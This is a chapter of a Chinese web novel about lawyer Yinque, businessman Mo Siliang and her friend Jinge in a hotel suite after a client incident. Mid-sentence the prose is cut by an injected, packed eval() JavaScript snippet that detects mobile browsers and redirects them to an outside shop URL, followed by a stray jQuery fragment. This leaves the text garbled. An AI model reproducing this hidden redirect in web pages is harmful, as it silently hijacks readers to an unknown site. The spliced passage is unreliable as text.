“叮”一声,电梯到了,门缓缓打开。
莫思量绅士地用手挡住电梯门,请银阙和金歌走在前面。
三人进了套房。
这套总统套,和隔壁的女王套结构完全一致,只是玻璃墙外的景色不同。女王套正对着大片的公园,而这里正对着莫氏集团大楼。
“那边是浴室,银小姐快去冲下凉水。我让管家去给你准备衣服,应该很快就会送来,银小姐先去,一会儿让你朋友拿给你。”
金歌说:“我一会儿敲门给你送进去,你快去吧。”
银阙此刻胸口肌肤还是热辣的,顾不上许多,点头道谢,径直去了浴室。
莫思量走去吧台。
“你叫……?”
“金歌,金银的金,歌曲的歌。”金歌忙答,“您是?”
“我是她朋友的哥哥。”莫思量说,“想喝点什么?水、果汁、咖啡、汽水,还是香槟,或者让人送点什么上来。”
金歌一脸受宠若惊,慌忙不迭说:“水就好,水就好。”
莫思量在橱柜内嵌的冷藏柜里拿了瓶矿泉水,递给金歌。
“你是银小姐的同事?”
“不是不是,但也算是共事的关系,我是翔瑞的,您知道我们公司吗?一个留学移民中介,我是我们老板的助理,今天跟着银律师一起过来见客户的。”
“翔瑞,听说过。”莫思量点头,“你们去年去了那个展会,对吗?”
“对对,您竟然知道我们这么小的公司。”
“你们和银小姐所在的律所是合作伙伴?”
“对对,她那个叫什么律所来着?哦……我刚好有张她妈妈的名片……”金歌在包里翻了半天,从犄角旮旯里翻出了一张小卡片,递给了莫思量,“就是这个律所,这是她妈妈的名片,他们律所主要是Lusine和她妈妈和我们对接。”
莫思量接过,扫了一眼,放在桌面上,没有还给金歌。
“刚才是怎么了?发生了什么?”他问。
“不知道您知不知道,银律师最近忙工签受骗的事情,就是新西兰出了个工签新政,有漏洞,好多人利用那个漏洞搞诈骗。那个女人的儿子在新西兰遭遇了诈骗,银律师最近免费帮很多受害人都要到了赔偿,她儿子知道后,来找银律师打官司,但因为她儿子还在新西兰,而银律师刚好在国内,就说让他妈妈先和银律师见一面,谁知道遇上个神经病。”金歌气鼓鼓地说,“她今天还迟到了,我俩在这里等,等那个疯子等了快半个小时。”
“有什么事刺激到她了?”莫思量问。
金歌回忆着说:“她当时在问银律师,能问雇主要到多少赔偿,还说他们家就指着这笔钱过活了。银律师说她很难保证,不知道能要到多少赔偿。谁知道那个女人一听说不能保证,忽然就发疯了,真是离谱。生病了就在家待着,别出来嚯嚯别人。”
金歌越说越气,又说:“银律师连她儿子的情况都还不清楚,面都没见过,谁能跟她保证什么啊。除了骗子,谁能跟她保证,脑子不正常,难怪被骗!”
莫思量垂眼沉思。
金歌又说:“遇到这样的人,银律师真是倒霉。他们律师也不容易,奇葩委托人要多少有多少,有时也挺受气的。”
莫思量说:“听说她最近为这些事没少辛苦,整日加班。”
金歌说:“是啊,她的工作量顶我三个了,我看着都觉得很辛苦。”
正说着,金歌手机响了,她一看,忙说,“哎呀,我忘了我有个会,完了要迟到了。莫总,我能先走一步吗?”她看看银阙去的浴室,犹豫一下。
“哦,好吧,我让人送你?”莫思量说。
“不用不用。”金歌拿着包,慌慌张张走了。她这边刚走,管家送来了一套女装和一些精致的茶点到了套房。
莫思量接过衣服看了看,面料和款式都不尽如人意。他不满意,但也没有多余时间再让人准备新的。
他起身走进自己的衣帽间,挑了一件版型中性的白色T恤和短裤。
浴室的水声还未歇。
莫思量把衣服放在浴室旁边的置物架上,走到吧台,拿过那张名片。
这是一张很简约的名片,正面是英文,写了姓名、LLB和任职律所。背面是同样的内容,只是中文。
莫思量看着上面的名字。
原来叫阙海晴。阙是宫阙的阙。
银不是个常见的姓氏,阙也不是常见的姓氏。
他捏着名片的一角,默默看着,微一皱眉,想到若将两人姓氏放在一起,就是银阙。而银阙,在古时,是月亮的代称。
她的英文名Lusine,意思是清冷的月光,也是月亮的意思。他又想起她耳下那枚悠悠晃动的弦月。
银阙。
感情深厚的父母,有时会将彼此的姓氏嵌进孩子的名字里。
正想着,浴室的门“碦哒”一声打开一条缝,带着湿软香气的清润声音飘来:
“金歌,衣服送来了吗?”
银阙躲在门后,见外面静俏俏的没有人回应,便抬高了声音:“金……”
门被人推开了一点,一只男人的手扶住了浴室的门框。银阙倒抽口冷气,推住门,下意识抓住了浴袍的领口。
“莫总。”
一套叠好的衣服递了进来。浴室门厚重的磨砂玻璃上,莫思量的身影如一团灰雾浅映在上面。
“金歌小姐有急事先走了。”
“哦……”
“接一下衣服,银小姐。”
银阙接过衣服,门关了,磨砂玻璃又恢复一片白茫茫。
拿过来的衣服偏中性,也偏大,短裤穿上盖到小腿肚,不合身,但很舒服。
不过银阙不挑剔,酒店能给她准备干净衣服,她已经很感谢了。换下的湿衣服,银阙没找到合适的东西装起来,只好先叠好放在洗手台上,打算等下再拿。
她走出去,见莫思量坐在餐区落地窗边的橙色单人沙发上,手上拿着一本财经杂志,翻页声似带书香。
旁边的小桌和矮几上放着浅绿三层茶架和白骨瓷茶具。空气里弥散着淡淡的果茶、清茶与点心的香甜。
银阙饿扁的肚子咕噜了一下。
莫思量拿着书,抬头看着她,略打量了下她身
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17968460|206248||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
上的衣服。
他的目光让银阙心中一慌,忙低头看了看,确认自己没有把衣服穿反。
“坐,饿了吗?不知道你偏爱什么口味,这些是思灵喜欢的茶点。”莫思量将杂志放进沙发边的杂志架上,“坐吧。”
“我不爱吃甜食……”银阙对莫思量有些戒备,不愿吃他准备的东西,她看了眼他对面的沙发,没有坐,“……也戒糖了,谢谢莫总,换过衣服,我该走了。另外,遇上这样的事,今晚我可能不方便和您以及思灵吃饭了,不好意思,我会向思灵解释的。”
“没关系,我来告诉她,你好好休息。”莫思量问,“烫到的皮肤怎么样?”
“没什么事的。”银阙说,“谢谢关心。”
莫思量点头:“没伤到就好,吓到了么?”
银阙摇头,说:“我没事,莫总,我先走了,谢谢您。”
“等一下,我有句话想问银小姐。现在没有外人,我们的对话,我可以保证保密。你的事,我连思灵都没说。”
莫思量顿了顿,“我想银小姐不必对我如此戒备。当年的事与我没什么关系,我的立场也只是担心弟妹的人身安全。所以,我希望银小姐可以坦诚回答。”
银阙不知道他想问什么,抿唇没有应声。
“先坐吧,银小姐,只耽误你两分钟。”
“不了。”银阙说,“莫总想问什么?您直接问吧。”
“银小姐叫什么?”
“Lusine.”
“英文名我知道,你介绍过,中文名呢?”
“我不常用,您叫我英文名就好。”银阙说。
他又喝了口茶:“我知道你一直在刻意接近思灵,现在她要去英国,银小姐是打算将目标转移到双玦那里了吗?”
银阙抿唇,说:“我无法回答您这个问题。我想我该走了。”
莫思量微笑点头:“理解,请便。”
银阙同他简单告别,打算离开。
莫思量又开口:“银小姐,我希望你明白我在看着你,不论是思灵,还是双玦,他们任何一个人出了问题,我都会算在你头上。”
银阙没回答,低头匆忙离开了这里。
走出酒店大门,银阙才想起自己换下的衣服忘在了套房。她想回去拿,但实在不想面对那个人。
她折返回酒店前台,告诉前台她的衣服忘在了莫思量的套房里,并留下了她的联系电话,让前台拿到后通知她来取。交代完之后,银阙搭乘出租车先去了时明家,在时明家短暂逗留后,才回了家里。
到家的时候,双玦正在沙发上躺着小憩,听到门声,一骨碌从沙发上坐起来。他看着她身上的衣服,问:
“你怎么穿着男人的衣服?”
“这是男人的衣服么?这是酒店给我的衣服。”
“哪个酒店给女客人准备男士T恤?”
“这算中性的T恤吧,我觉得。”
双玦眯着眼没说话,又问:“为什么去酒店了,遇到什么事了?”
银阙便把钱芹的事说了,并提了一句到酒店换衣服的事,不过她略过了莫思量的部分。